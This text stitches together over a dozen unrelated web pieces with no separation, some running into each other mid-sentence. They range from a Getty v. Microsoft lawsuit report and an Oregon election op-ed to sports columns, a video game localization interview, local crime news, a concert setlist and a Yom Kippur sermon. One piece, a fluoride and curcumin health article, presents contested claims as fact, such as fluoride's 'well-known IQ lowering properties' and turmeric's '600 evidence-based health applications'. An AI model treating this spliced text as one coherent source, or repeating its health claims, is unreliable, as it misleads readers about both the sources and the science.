“In effect, defendant has turned the entirety of the world’s online images into little more than a vast, unlicensed ‘clip art’ collection for the benefit of those website publishers who implement the Bing Image Widget, all without seeking permission from the owners of copyrights in those images,” the lawsuit said.
Getty, which produces and distributes photos, video, music and multi-media products, is asking a judge in U.S. District Court to block the widget immediately and award an unspecified amount of damages. The actual injury to Getty is “incalculable,” according to the lawsuit.
In a statement, a Microsoft spokeswoman said the company would consider whether Getty’s claims had merit.
“As a copyright owner ourselves we think the laws in this area are important,” the spokeswoman said in an email. “We’ll take a close look at Getty’s concerns.”
John Lapham, general counsel for Getty, said his company has been engaged in discussions with Microsoft for more than a year about what he called the “erosion” of copyright protection for online images.
The widget, he said, goes well beyond a search tool by helping websites embed copyrighted images for commercial use. Getty’s own embedding tool, by contrast, is only available for non-commercial websites and includes photographer attribution, he said.
“Now you have someone else’s picture in full, beautiful display on your website, having never paid for it and with no attribution to the photographer at all,” he said.
The widget is already in use by websites around the world, the lawsuit said. Getty owns or represents more than 80 million unique digital images, according to the lawsuit.
The case is Getty Images Inc v. Microsoft Corp, U.S. District Court for the Southern District of New York, No. 14-7114.By Blair Bobier
Let's face it: Except for the hoopla and hyperbole of a few hotly contested races, the 2012 Oregon primary was a complete waste of time and money.
After all, 90 percent of all Oregon House races were uncontested, the presidential competition was over before it started, and the Republicans didn't even field a candidate for attorney general -- the one statewide race that drew any attention at all.
Yet, we, the taxpayers, financed this fiasco to the tune of millions.
Does anyone really care about the primary? The Democrats didn't bother putting up candidates in nine House races and in three Senate districts. The Republicans sat out the treasurer race, too.
The parties' lack of interest was matched by the voters: A mere 28 percent of eligible voters cast ballots.
Despite well-intentioned proposals for improving participation, there is really nothing that can be done to save the primary. The Oregonian, in a recent editorial ("Raising primary concerns," May 17), suggests that a "top-two" primary system might make things better.
In fact, top two -- which was overwhelmingly rejected by Oregonians in 2008 -- is about the only thing that could make matters worse. In a top-two system, the primary is a free-for-all where all candidates from all parties compete against each other. Then the top two finishers -- regardless of party affiliation -- advance to the November general election. There are many problems with top two, starting with the fact that it limits voters to two choices in the general election.
To be fair, The Oregonian actually got it half-right. The free-for-all aspect of the top-two system isn't necessarily bad; it's just taking place at the wrong election. As we just witnessed, most people don't vote in primaries, but a top-two system lets voters in these low-turnout primaries decide the election choices for everyone else in November.
Even worse, voters in November would have their choices limited, in particular races, to just Republicans or just Democrats. Independent and "third party" candidates would disappear from the November ballot.
Instead, let's just kill the primary and let all candidates run against each other in November. Campaigns would be shorter and less expensive, and taxpayers would save millions of dollars by eliminating one entire election.
Using ranked-choice voting would remove the "spoiler" dynamic from this free-for-all election and ensure that whoever wins has the broadest support possible.
With ranked-choice voting, voters rank candidates in order of preference, marking their first choice, second, third and so on, instead of voting for just one candidate.
A candidate who wins a majority of first-choice rankings is elected. If no candidate receives an initial majority, the candidate with the fewest first-choice rankings is eliminated. That candidate's supporters then have their votes count for their second choice. The elimination process continues until a candidate has the majority of remaining votes.
Also known as instant-runoff voting, this method is used in Oakland, Calif., Minneapolis, San Francisco, Australia and Ireland, among other places.
With an all-inclusive November election, all voters could choose from all candidates. Voters who don't belong to any political party -- the fastest-growing segment of the Oregon electorate -- would finally be enfranchised.
Critics of this plan might suggest that we would have too many candidates to choose from. That's doubtful; we can't even field competing primary candidates for 90 percent of the Oregon House races right now.
Others might contend that we'll have so many candidates running at once that voters won't learn enough about them to make an informed choice. But it's an incredibly unusual race that draws more than two candidates.
Even in the rare elections that muster a big field, such as Portland's mayoral race, the press, cash and organizational strength determine the front-runners anyway.
Oregon's primary is useless and expensive. It deserves a solution unique to our pioneering state: death with dignity.
Blair Bobier is an Oregon lawyer who writes on election reform.Mike Wallace — the closest thing to a fantasy football iron man
By Daniel Kelley • May 9, 2017
(“Today’s Crazy Fantasy Stat” is an occasional offseason offering from PFF that highlights something that catches our eye and aids in our preparation for the 2017 fantasy season.)
In his second and third seasons in the league, 2010 and 2011 Mike Wallace finished among the top 10 in fantasy scoring at wide receiver. He was a star at the time, a superior option even to Antonio Brown. When the Steelers shipped him off to Miami after 2012, people even worried if opting for Brown over Wallace was the wrong call.
In the years since, Wallace hasn’t been as good as his peak. He didn’t top 1,000 yards between 2012 and 2015 and hasn’t finished in the top 15 in fantasy scoring again. In short, the Steelers made the right call between Wallace and Brown.
On the other hand, he’s been a top-25 fantasy receiver every season but 2015. He’s only had one season of under 800 yards since his rookie year. And in his eight seasons, Wallace has missed only one game total out of 128 possible — and that was a meaningless Week 17 matchup in 2012 when there was nothing to play for. In Wallace’s career, the only other running back or wide receiver who has played 127-plus games is Eric Weems, who has played all 128 possible, and if we’re being kind, let’s just say Weems has never had the fantasy relevance Wallace has.
(Subscribe to all our fantasy content, or get everything PFF offers with an All-Access subscription.)
According to ADP data from Fantasy Football Calculator, Wallace has outperformed his WR ADP in every year but one since 2011, with his one down season coming in his 2015 year in Minnesota, when he finished 74th in receiver fantasy scoring.
That year, Wallace had Teddy Bridgewater as his quarterback, who recorded a 7.5-yard average depth of target, fifth-lowest in the league. Wallace’s fantasy numbers have fairly closely aligned with his quarterbacks’ aDOTs over his career; when he was a top-10 receiver in 2010 and 2011, Ben Roethlisberger was fifth and sixth, respectively, in quarterback aDOT, whereas his worst seasons have come with quarterbacks who tend to throw the ball short.
Now in Baltimore, Wallace’s quarterback is Joe Flacco, who, with Marc Trestman as his offensive coordinator to start the last two years, has put up the lowest aDOTs of his career. The team now has Marty Mornhinweg as offensive coordinator, and has spoken this offseason of opening up the offense for Flacco and the pass-catchers a bit more.
The Ravens didn’t draft a wide receiver this offseason or bring in any high-profile free agents, but did see Steve Smith Sr. (retirement) and Kamar Aiken (free agency) depart. Their targets aren’t likely to go to Wallace, who saw 109 targets in 2016 — not with Breshad Perriman, Michael Campanaro, and other lightly used receivers likely to see a target increase. But 109 targets for Wallace is enough for him to produce.
Wallace isn’t ever going to be “Pittsburgh Steelers-era top-10 fantasy receiver Mike Wallace” again, but that’s not what fantasy owners want him for. Last season, he was drafted as the No. 58 receiver, which is basically the same as saying he wasn’t drafted. In early ADP information for this coming season, he’s at No. 51, which is more or less the same.
In short, we have a receiver who has been top-25 or better in every year but one, with a quarterback who should be throwing the ball further, who should see 100 targets (or close to it), and who is as safe a bet to be healthy and on the field as any guy in the league — and he’s essentially free in drafts. Mike Wallace isn’t a fantasy superstar anymore, but as bench depth/flex option/bye-week fill-in, he warrants more consideration than he’s getting.Jurgen Klopp returns to Borussia Dortmund with Liverpool this week.
Borussia Dortmund host Liverpool in the quarterfinals of the Europa League this week, meaning that Jurgen Klopp is set to make an emotional return to his former club.
The match has been dubbed El Kloppico in the German media as the frenzy over the former Dortmund coach's return goes into overdrive.
To that end, German broadcasters Sport1 have announced they plan to train a special Klopp Cam on the Liverpool boss for the entire game, giving viewers access to a full 90 minutes of yelling, leaping, remonstration and jovial backside-slapping.
"During the match we'll offer our users on sport1.de a Klopp live cam," said Dirc Seemann, Sport1's executive editor.
"It will be on him for 90 minutes, as a special for his homecoming. Once Jurgen Klopp gets to the Westfalenstadion in the team bus we'll have our cameras on him."
Speaking to Kicker magazine, Seemann also revealed the precise lengths that Sport1 are planning to go to in order to capture the big night in all its glory, announcing they will be broadcasting from 7pm through to 1am local time.
"We'll broadcast for six hours around the live match," he added.If you are not from Mexico, what’s the first thing that comes to your mind when you talk about Mexican food?
– Burritos: Most of the time they would be the first answer.
– Fajitas
– Tacos
– Chilli
Mexican cuisine’s perception all over the world is way too different from reality. Chilli is of course part of the daily food; however it doesn’t mean that each and every Mexican includes it in all their meals. There are many people that decide not to add spicy sauce or chilli and it is a great surprise for any foreigner when they notice that a Mexican says NO to spicy food.
Burritos on the other hand are not so popular as a taco or chilli. Although they were created in Chihuahua, a state from North Mexico, burritos and even fajitas are classified as part of the Tex-Mex culinary specialties. Tex-Mex refers to the dishes created by Mexican families living in Texas. Burritos are mainly eaten in Chihuahua, some other states in the north of the country and United States.
Apart from Chihuahua, the rest of the country wouldn’t recognise burritos as a traditional Mexican dish. Before a burrito a Mexican would choose tacos, quesadillas with spicy sauce o a big plate of enchiladas.
How were burritos created?
This story has been written and shared by many people but for those who don’t know it yet, here it is!
Everything started in Juarez (Chihuahua) during the Mexican Revolution in 1910.
A man called Juan Mendez had a small food business and in order to keep the food warm he created a big tortilla to roll the food in it and wrapped it with a napkin. The dish became really popular in the area and some parts of United States closer to the border with Juarez. It was then that Juan decided to get a donkey to carry the food and cross the Rio Bravo to United States so he could sell and satisfy the demand of his clients in that country. In Spanish a donkey is translated as burro and the diminutive would be burrito. Everyday people would wait impatiently for the “burrito” to enjoy Juan’s specialty.
Burritos became one of the favourite dishes of many people but do not define Mexican cuisine.
What would a Mexican answer if someone ask about food in their country? These are only some of the many traditional and popular dishes:
1. Tacos.
2. Enchiladas or quesadillas.
3. Mole.
4. Chiles en Nogada.
Having written this, if you ever go to Mexico and would like to have an original burrito you know where to find them but don’t ever miss the opportunity to have a big and tasty taco!
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By Operation Rainfall Contributor / June 24th, 2016
Criminal Girls 2 release date announcement from NIS America was followed by a blog post about the content in the game being altered for the West. We thought it would be a good idea to sit down with the company at E3 2016 and get more information on the steps they are taking to localize the title. The conversation took place over lunch with, Robbie, Alan, and Jordan from NIS America.
What made NIS America choose to localize Criminal Girls 2?
The first one actually did pretty well for us. Even though there’s a segment of people saying that the first game bombed, but it didn’t and it encouraged us to do the second one. Once we saw that our fans wanted the second one, it just made sense.
Would you consider Criminal Girls 2 an improvement to the first in the series?
There are a lot of improvements in terms of story and the way some of the motivation scenes are. I thought it was pretty cool that there’s obviously this sexual overtone in the game, but there’s also this more deeper and more emotional feeling when you realize that there’s a reason why this girl is here. You realize that there is a reason she is in hell, but maybe some bad things happened in her life. Those scenes definitely pull those emotional strings.
There’s concern over some of the changes that some of images have gone through. What is NISA trying with this title that you might not have tried with the first game?
I feel like this time we are being more transparent. For the first game, I felt like we just announced that we were doing something to the game, but we aren’t going to be very specific. For Criminal Girls, the fog was a little more rushed then we’d hoped for. We were stuck with “okay we have to get this game out, what are our options here? Okay, let’s just not remove as much of the fog in the final levels.” This time, however, the way we are approaching Criminal Girls 2 is if you play through this game, you wont ever know that something was changed in it. We want the experience of someone playing this, to be the same as someone who is playing it in Japan. Doing the redrawn art, I think, puts the localized version up to the standards of the original Japanese version. Now that we have a little more time to invest in this we can make sure that it’s not a different experience for people playing.
What about the voices over during the motivations scenes, are you still working to keep that in?
I’m not too much involved in the localization part of it or dealing with the ESRB but I know that it is a concern. The problem comes with a girl screaming “No!” while you’re spanking her ass; that wont fare too well with ratings boards. They’re saying that you can’t have non-consensual sexual activity in these games. What I know is that they are looking into those scenes and the audio from them to see if they can keep anything
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said many times that they would build Apptio into a large, independent business.
Gupta previously founded IT repair software company iConclude, which was quickly sold to Opsware.
Apptio added a number of former Microsoft and Amazon executives in late 2013, including the board appointment of former Microsoft CFO Peter Klein, who took the now-defunct HomeGrocer.com public in 2000.
IPO rumors once again circulated in March when Apptio CFO Sean Boyle left after only 16 months in the role.
Boyle returned to a finance role at Amazon.com, and Shintaffer stepped back into the CFO role last month.
Apptio has more than 600 employees and more than 200 customers.Reddit Email WhatsApp 7K Shares
Fluoride is found everywhere today, from antibiotics to drinking water, no stick pans to toothpaste, making exposure inevitable. All the more reason why new research proving this common spice can prevent fluoride damage is so promising!
Fluoride’s neurotoxicity has been the subject of academic debate for decades, and now a matter of increasingly impassioned controversy among the general public, as well. From ‘conspiracy theories’ about it being first used in drinking water in Russian and Nazi concentration camps to chemically lobotomize captives, to its now well-known IQ lowering properties, to its ability to enhance the calcification of the pineal gland – the traditional ‘seat of the soul’ – many around the world, and increasingly in the heavily fluoridated regions of the United States, are starting to organize at the local and statewide level to oust this ubiquitous toxicant from municipal drinking water.
Now, a new study published in the Pharmacognosy Magazine titled, “Curcumin attenuates neurotoxicity induced by fluoride: An in vivo evidence,” adds experimental support to the suspicion that fluoride is indeed a brain-damaging substance, also revealing that a natural spice-derived protective agent against the various health effects associated with this compound is available.
The study was authored by researchers from the Department of Zoology, University College of Science, M.L. Sukhadia University, Udaipur, India, who have spent the past decade investigating the mechanisms through which fluoride induces severe neurodegenerative changes in the mammalian brain, particularly in cells of the hippocampus and cerebral cortex.[i] [ii]
The study opens by describing the historical backdrop for concern about fluoride’s significant and wide ranging toxicity:
“Fluoride (F) is probably the first inorganic ion which drew attention of the scientific world for its toxic effects and now the F toxicity through drinking water is well-recognized as a global problem. Health effect reports on F exposure also include various cancers, adverse reproductive activities, cardiovascular, and neurological diseases.[1,2]”
The study focused on fluoride induced neurotoxicity, identifying excitoxicity (stimulation of the neuron to the point of death) and oxidative stress as the two main drivers of neurodegeneration. It has been observed that subjects with the condition known as fluorosis, a mottling of tooth enamel caused by excessive exposure to fluoride during tooth development, also have neurodegenerative changes associated with a form of oxidative stress known as lipid peroxidation (rancidity). Excess lipid peroxidation in the brain can lead to a decrease in total brain phospholipid content. Owing to these well-known mechanisms of fluoride associated neurotoxicity and neurodegeneration, the researchers identified the primary polyphenol in the spice turmeric — known as curcumin – as an ideal agent worth testing as a neuroprotective substance. Previous research on curcumin indicates that it is capable of activing as an antioxidant in 3 distinct ways by protecting against: 1) singlet oxygen 2) hyrodxyl radicals and 3) superoxide radical damage. Also, curcumin appears to raise endogenous glutathione production in the brain, a major antioxidant defense system.
In order to assess the neurotoxic effects of fluoride and prove curcumin’s protective role against it, researchers randomly divided up mice into four groups, for 30 days:
Control (no fluoride) Fluoride (120 ppm): fluoride was given in distilled water drinking water without restriction. Fluoride (120 ppm/30 mg/kg body weight) + Curcumin: Oral dose of curcumin dissolved in olive oil along with fluoride in drinking water Curcumin: (30 mg/kg body weight)
In order to ascertain the effect of treatment, the researchers measured the malondialdehyde (MDA) content in the brains of the different treated mice. MDA is a well-known marker of oxidative stress/damage.
As was expected, the fluoride (F) only treatment group showed significantly elevated MDA levels vs. the non-fluoride treated control. The F + Curcumin group saw reduced MDA levels vs. the fluoride only group, demonstrating curcumin’s neuroprotective activity against fluoride associated neurotoxicity.
The study concluded,
“Our study thus demonstrate that daily single dose of 120 ppm F result in highly significant increases in the LPO [lipid peroxidation, i.e. brain rancidity] as well as neurodegenerative changes in neuron cell bodies of selected hippocampal regions. Supplementation with curcumin significantly reduce the toxic effect of F to near normal level by augmenting the antioxidant defense through its scavenging property and provide an evidence of having therapeutic role against oxidative stress mediated neurodegeneration.”
Discussion
This is far from the first study to demonstrate curcumin’s remarkable brain-saving properties. From the perspective of the primary research alone, there are over two hundred peer-reviewed published studies indicating that curcumin is a neuroprotective agent. On our own turmeric database we have 115 articles proving this statement: Turmeric Protects The Brain. We have also featured studies on turmeric’s ability to protect and restore the brain:
Considering the many chemical insults we face on a daily basis in the post-industrial world, turmeric may very well be the world’s most important herb, with over 600 evidence-based health applications.
For more information, please review the following content:
[i] Bhatnagar M, Rao P, Saxena A, Bhatnagar R, Meena P, Barbar S. Biochemical changes in brain and other tissues of young adult female mice from fluoride in their drinking water. Fluoride. 2006;39:280–4. [Ref list]
[ii] Bhatnagar M, Sukhwal P, Suhalka P, Jain A, Joshi C, Sharma D. Effects of fluoride in drinking water on NADPH-diaphorase neurons in the forebrain of mice: A possible mechanism of fluoride neurotoxicity. Fluoride. 2011;44:195–9. [Ref list]
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One person died, two were in critical condition and a police officer was injured after a wrong-way driver struck two other vehicles, prompting an hourslong closure of the Gerald Desmond Bridge in Long Beach on Saturday, according to police.
Before the fiery collision, officers saw a Mercedes-Benz “driving erratically and crashing through barricades in the area of Special Olympics events,” according to a news release from the Long Beach Police Department. A Special Olympics half-marathon was scheduled for 8 a.m. about 3 miles from the bridge.
Police lost sight of the vehicle after attempting to follow it along a bike path in the city’s downtown area.
Then, about 7:11 a.m., officers responded to witness reports of a crash in the eastbound lanes of the bridge, at its crest. The same Mercedes that was driving erratically appeared to have traveled over the bridge, going against traffic and colliding with two cars, the news release stated.
Both the Mercedes and one of the other vehicles were still on fire when officers arrived, the police statement said.
The driver of a 2010 Nissan pickup truck that was in flames succumbed to his injuries and was pronounced dead at the scene, according to police. The man's name was not immediately released, pending notification of family by the coroner’s office.
The driver of a 2014 Ford Fusion, a 21-year-old from San Pedro, was critically injured, as was the wrong-way Mercedes driver.
Firefighters at the scene extinguished the flames and transported the surviving two drivers to hospitals, the news release said.
A police officer suffered minor injuries to his arm when he had tried to extricate the driver who died, said Jake Heflin of the Long Beach Fire Department. The officer was treated at a hospital and released.
pic.twitter.com/uKZAUOXhNz. This is a tragic incident, but shows the dedication to our citizens by our Police Officers and Firefighters. — Long Beach Fire (@lbfirefighters) August 1, 2015
Investigators determined that Alvin Ray Shaw, 28, of Hawthorne, was driving the 2012 Mercedes when he entered the eastbound lanes of Ocean Boulevard, at Golden Shore (map), and headed westbound in the direction of the bridge and into oncoming traffic, according to the Police Department.
It was unclear if alcohol or drugs were factors in the crash, according to investigators.
A SigAlert was issued by the California Highway Patrol. After being closed in both directions for more than six hours, the bridge was reopened about 3 p.m., the Police Department announced.
Pic of Engine 24 on the Gerald Desmond bridge incident earlier pic.twitter.com/g6GMvcx2ie — Long Beach Fire (@lbfirefighters) August 1, 2015
The arched bridge connects four lanes of Ocean Boulevard from the 710 Freeway to Terminal Island, and allows for cargo ships to travel underneath.
The bridge is a “vital hub in the nation’s trade system,” according to the Gerald Desmond Bridge Replacement Project website, which chronicles a five-year replacement plan that is currently underway and expected to be complete by 2018.
The new bridge is expected to allow for larger ships to move through and become the second-tallest cable-stayed bridge in the U.S., the project website stated.
Anyone with information about the collision was asked to call Detective Sirilo Garcia of the Long Beach Police Department at 562-570-7355. Those wishing to remain anonymous can call 800-222-8477, or text TIPLA plus your tip to 274637 (CRIMES).
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Please enable Javascript to watch this videoBob Dylan
Paramount Theatre –(Monday)
Oakland, California
March 14, 2005
Download: FLAC/MP3
Opening acts: Amos Lee, Merle Haggard And The Strangers
01 – Drifter’s Escape
02 – It’s All Over Now, Baby Blue
03 – Tweedle Dee & Tweedle Dum
04 – The Man In Me (Bob was center stage with just his harp – no piano)
05 – Highway 61 Revisited
06 – Can’t Wait
07 – Stuck Inside Of Mobile With The Memphis Blues Again
08 – Under The Red Sky
09 – Bye And Bye (Donnie on violin)
10 – Honest With Me
11 – Mr. Tambourine Man
12 – Summer Days
(encore)
13 – A-11 (song by Hank Cochran)
14 – All Along The Watchtower
Concert # 1705 of The Never-Ending Tour. Concert # 6 of the 2005 US Spring Tour with Merle Haggard. 2005 concert # 6.
Concert # 6 with the 19th Never-Ending Tour Band: Bob Dylan (vocal & piano), Stu Kimball (guitar), Denny Freeman (guitar),
Donnie Herron (violin, mandolin, pedal steel guitar), Elana Fremerman (violin), Tony Garnier (bass), George Receli (drums & percussion).
2, 11 acoustic with the band.
4 Bob Dylan (harmonica).
3, 5, 10, 12, 14 Donnie Herron (pedal steel guitar)
6, 9 Donnie Herron (violin).
8 new songs (57%) compared to previous concert. 3 new songs for this tour.
Stereo audience recoding, 95 minutes.
LB-03427 ; 51min+35min ; 2CDR ; Rating: A
Source: soomlos
16th row left side
AKG 391’s > Denecke PS-2 > Denecke AD-20 > Sony D8
Sony D8 > Tascam CD-RW700 > EAC > CD Wave > FLAC
bittorrent download 01/06; excellent sound [A]; not much above 16kBEIJING (AP) — Taiwan says its delegation was ejected from a meeting of the Organization for Economic Cooperation and Development’s steel committee after China complained, part of an apparent hardening of Beijing’s attitude toward the island it claims as its own territory.
Taiwan is only an observer rather than a member of the OECD due to China’s campaign to isolate it diplomatically. It was participating as a dialogue partner in the meeting held Monday in Belgium to discuss excess steel capacity.
However, the Chinese delegation demanded the Taiwanese leave because the delegates’ ranks were not senior enough, Taiwan’s official Central News Agency said Tuesday.
CNA cited Foreign Ministry spokeswoman Eleanor Wang as saying that claim wasn’t valid because Taiwan had participated in previous meetings at the same level and in the same capacity.
“Strong protests” had been lodged against China, Belgium and the OECD over the ejection, CNA said without giving details.
Taiwan and China recently disagreed over Kenya’s deportation of 45 Taiwanese wire fraud suspects to China, with Taiwan saying Beijing had violated a tacit understanding under which both sides agreed not to interfere in the legal affairs of their citizens abroad.
China said it had jurisdiction because the victims of the scammers were residents of mainland China. Officials claimed also that Taiwan hadn’t sufficiently punished the perpetrators of previous such scams.
Facing intense public pressure, Taiwanese officials managed subsequently to convince Malaysia to deport a separate group of Taiwanese criminal suspects to Taiwan despite Beijing’s request that they be sent to China. With no arrest warrants issued against them, Taiwanese police had no choice but to release the group after their arrival, prompting outrage in China’s state media.
Taiwan’s Justice Ministry said 10 officials from the police and agencies responsible for contacts with China would travel to Beijing on Wednesday to negotiate over the fate of the 45 and seek ways to boost cooperation in fighting cross-border crime.
China’s moves are widely seen an attempt to assert its claims to sovereignty over the island and legal authority over its residents. The sides split amid civil war in 1949 and China has long sought to isolate Taiwan diplomatically by preventing it from maintaining formal ties with most countries, including Malaysia and Kenya. China’s economic clout lends it diplomatic influence.I was going to say that Rajon Rondo gave his best Derrick Rose imitation but that's not accurate. He was at his best tonight because he was aggressive and attacking. Looking for his shot as well as his teammates. This is the best of Rajon Rondo. When he plays like that, there's no stopping him. All of which is why I think trading him for anything other than a clear upgrade would be foolish.
I suppose it is nights like this that set the bar for him so high. People know he's capable of this and get frustrated when he doesn't reach these levels. But I'll take a few off nights in exchange for days like today (with a bunch of average but still facilitating nights on other days). But maybe that's just me. Don't trade this guy.
Nice to see Good Wilcox show up tonight!
Nice to see a solid game by JaJuan Johnson too. Doc will have to give him more time if he keeps performing.
Jermaine who? (just kidding, we need all the help we can get)
CJ Watson was the one doing his best Rose imitation. Hats off to him.
Rondo even hit his end of game free throws! Still giddy about him.
Nice win to cure what ails you.It's officially the offseason. No, the real offseason. The one where the draft is complete, free agency has mostly dried up, and Summer League is done. The basketball landscape is a barren wasteland, with nearly nothing to look forward to until the announcement of the official schedule. With such a dearth of activity going on, sometimes the mind wanders to other things, like internet memes.
Of course, the natural thing to do, in the current basketball-less climate, is to mix those meme thoughts with basketball thoughts. So, to that end, I enlisted the help of the greatest artist of our time, Flemdawg1Hunna (who you should definitely be following on Twitter), and the two of us have assembled a meme team for the ages. And so, without further adieu, I give you: The Meme-phis Grizzlies.
Mike Conley: Dat Boi
For those of you unfamiliar with this meme, allow me to explain: Dat Boi is a frog on a unicycle, and when people recognize him, they say, "O shit waddup." The origin story is a strange bunch of bits and pieces that somehow coalesced into a unicycle-riding frog which, quite recently, was one of the most popular memes on the web. I have no idea how this happened, but that's the world we live in.
Mike Conley is sort of like that. The perfect storm of timing and the free agent market combined to make Conley the player with the richest contract in NBA history (to this point), though a lot of people still aren't sure how. Mike Conley is: MAX BOI.
Marc Gasol: Super Cool Ski Instructor
Marc Gasol is 7'1" and weighs 265 pounds. Before last season, he signed a five year max contract. He also ended last season early due to a broken bone in his foot. Let's check the history of big men with foot injuries, and...
Oh.
/sobs
Tony Allen: Tony Allen Walking Through Things
Thanks to a timeout performance during a 2015 playoff game, Tony Allen already has his own meme (and a hashtag to go with it). The Memphis Flyer managed to assemble plenty of examples of this one. My favorite is below, but you can check out this link for plenty more where that came from.
Zach Randolph: Good Guy Greg
This one is pretty self-explanatory. Z-Bo originally purchased 300 tickets to Game 1 of the opening round series against Portland back in 2015. But when demand was high, he ended up purchasing another 200 tickets. Z-Bo distributed all 500 tickets to fans himself.
Chandler Parsons: Ryan Gosling "Hey Girl"
As soon as he signed his contract, Chandler Parsons became the team dreamboat. He's the basketball equivalent of Ryan Gosling, and he's already got every girl in Memphis swooning.
Also, if you're ever feeling down, just look at this meme and remember that Chandler thinks you're a slam dunk.
Jordan Adams: Crying Jordan
Poor Jordan Adams just can't stay healthy. Hopefully someday soon his knees will heal and we'll be able to turn this from a Crying Jordan into a Success Kid. But for now, we have Crying Jordan Adams.
Vince Carter: The Most Interesting Man in the World
Vince Carter is not young. He's been around the block. He's done some super cool things in his youth. But now, he's more of a wily veteran, a coach on the court, there to lend his experience to the team's younger players. He's Half Most Interesting Man, Half Amazing.
Brandan Wright: All the Things!
When Brandan Wright signed with the Grizzlies, our own Andrew Ford broke down Wright's biggest (read: only) offensive weapon: diving/rolling to the rim. He's incredibly athletic, and he uses that athleticism to get to the paint off a pick and roll. Once Brandan Wright is healthy, the Grizz will finally have the opportunity to let him DUNK ALL THE THINGS!
Jarell Martin: Bad Luck Brian
Thanks to the injury plague of 2016, Jarell Martin managed to get playing time as a rookie under a coach who was notorious for not playing his young players. Then his foot issue came back, and he was robbed of what could've been valuable playoff minutes.
Andrew Harrison: Caddyshack Carl
Apparently I am going to die cold and alone on Andrew Harrison Hill, because no one else believes in him. But hey, he got a contract, so it's not all bad!
Wade Baldwin: Captain Phillips
If Mike Conley goes down with an injury, Wade Baldwin is the point guard now.
Deyonta Davis: "I'm just here so I don't get fined"
On draft night, Deyonta Davis had the quote of the night.
Quote of the night from the NBA Draft: "I'm not really sure why I left, I was just told to by my people"
-Deyonta Davis — Shane Wissink (@S_wissink5) June 24, 2016
Thanks, Deyonta! This quote screams Marshawn Lynch. I hope Deyonta winds up being as awesome as Marshawn.
Lance Stephenson: Mr. Krabs
TFW your $9.5 million option gets declined and now no one will offer you a contract.
Ryan Hollins: Tyrone Biggums
Hollins' dealer has moved out west, and Hollins is fiending for another score.
Follow @sbngrizzliesThe White House released President Trump’s tax return from 2005 on Tuesday, which showed that he paid $38 million on $150 million in income. This disproves the premise of a major New York Times story in the lead-up to the November election.
The Oct. 1 Times story was headlined: “Donald Trump Tax Records Show He Could Have Avoided Taxes for Nearly Two Decades, The Times Found.” The New York Times reporters wrote: “Donald J. Trump declared a $916 million loss on his 1995 income tax returns, a tax deduction so substantial it could have allowed him to legally avoid paying any federal income taxes for up to 18 years, records obtained by The New York Times show.”
This report was so substantial that Trump was asked about it at a presidential debate and responded that he used tax deductions in order to not pay federal income taxes, but did not say for how many years.
The tax return released Tuesday shows that the most time Trump could have deducted money from his 1995 tax return to avoid paying taxes is nine years. This is half the amount of time the Times implied was the case.
President Trump has attacked the Times throughout his presidency as a “failing” paper and “fake news.”Married man 'broke into neighbours' homes simply to watch porn'
A married pornography-addict has been arrested for breaking into his neighbours' homes and pleasuring himself while watching dirty films on their computers.
Antone Forrest Deedward Owens, 21, of Eugene, Oregon, is charged with four counts of first degree burglary, one count of menacing and one count of coercion after a four-month investigation found he'd been repeatedly entering nearby homes and watching porn while the owners were at work.
'The suspect accessed the victim's computer, went to a porn site and in all the incidents I've mentioned so far he was masturbating,' Sgt. Mitch Martin told KVAL News.
Weird: Antone Owens, 21, pictured, was caught after repeatedly breaking into neighbours' homes to watch porn on their computers and masturbate
'He gets more of an adrenalin rush from going into somebody else's house even though he hasn't created any violent act there.'
Eugene Police Department began its probe in March, after a bizarre string of break-ins were reported, where victims all found pornography on their computers.
In one case, a female neighbour saw the man outside her sliding glass door after discovering her computer on, displaying X-rated images and lubricant, towels and a cell phone nearby.
Neighbourhood: The crimes took place in a five-mile radius in Eugene, Oregon, pictured
As she picked up the phone and called 911, the man threatened to kill her then grabbed the phone and lube before fleeing.
About a month later, Owens was allegedly caught again, this time when a male neighbour popped home for lunch to find his computer showing pornography and dirty towels nearby.
One family reported multiple break-ins between September 20, 2011, and October 20, 2011, again involving someone entering their home to surf the internet for porn.
Owens was arrested on Wednesday after a crime lab matched DNA found on a one of the victim's towels to a voluntary swap test the man took months ago.
Dirty: Owens was arrested on Wednesday after a crime lab matched DNA found on a victim's towel to a voluntary swap test he took a few months ago (stock photo)
He allegedly admitted to having a pornography addiction since high school.
The crimes took place within a five block radius. A ccording to KVAL News, Owens was unemployed so was able to scope out his neighbours' homes and schedules.
Residents are shocked by the man's perverse habit, with many beefing up security to protect themselves in future.
'It is so surprising to me that people actually break into people's homes with that knowledge at the back of their head,' Kevin Meehan told the TV station.
'There's no better security system than dogs. I feel sorry for his family because he wouldn't get out of here alive.'Friends – we are here tonight to celebrate the holiest day of the year, Yom Kippur. Yom Kippur has been misunderstood to be a sad day. But really, an early rabbinic texts calls Yom Kippur one of the two happiest days of the year. What makes this day happy? It is the day of forgiveness. This is what Yom Kippor means “The Day of Forgiveness.”
According to our myth, Yom Kippur is the day that we are forgiven for worshipping the golden calf. What is the golden calf? It is the essence of idol worship. It the fallacy that gold is God. How do we become forgiven for worshiping gold?
I believe that G!d is infinitely forgiving. The harder question is how we forgive ourselves. How can we forgive ourselves for failing to live up to our own ideals? How can we forgive ourselves for failing to recognize others’ humanity? How can we forgive ourselves for remaining silent for so long in the face of injustice?
Forgiveness is important because once we can mourn our mistakes then we are no longer ruled by them. We are free to create things anew.
This is what Kol Nidreh is about. It is releasing ourselves from the oaths that we mistakenly took.
When people think about oaths, they usually think of verbal promises. In Judaism though, most of our oaths are “Chazakas” – or oaths taken through repeated action. By doing things again and again, we make internal promises about how we want to live. Other names for these might be habits, preferences, or addictions. These chazakas rule our lives, making things simpler by allowing us to live on autopilot.
The problem with this is that while chazakas are easy, they are often not skillful. It is easier to not make waves. It is easier to not make eye contact with those suffering. It is easier to trust others to run society. It is easier to sit on our butts.
Tonight, you are offered all the internal freedom that you can imagine. How do you want to live the next moments of your life? Do you want to love more? Do you want to be more joyous? Do you want to speak your truth? What does your truth say?
Yom Kippur is the happiest day of the year because it gives us the radical option of being here now. We don’t work. We don’t eat. We don’t drink. We don’t have sex. We dress in white robes.
We do these things because Yom Kippur is a ritual death. It is the way that we allow our old selves to die.
Tomorrow, when we break our fasts, we step into newness. We step into being the people we want to be and not just the people we have been.
You know friends, it is hard not to worship gold, or power, or any of the other idols that our society shoves down our throats. I believe that this is why the Torah tells us that there is something else created in the image of G!d.
Us.
In the first chapter of Genesis the first human was created in the image of G!d If we need something to serve here on earth, we are given humanity. Service to humankind is sacred and a reflection of service of G!d.
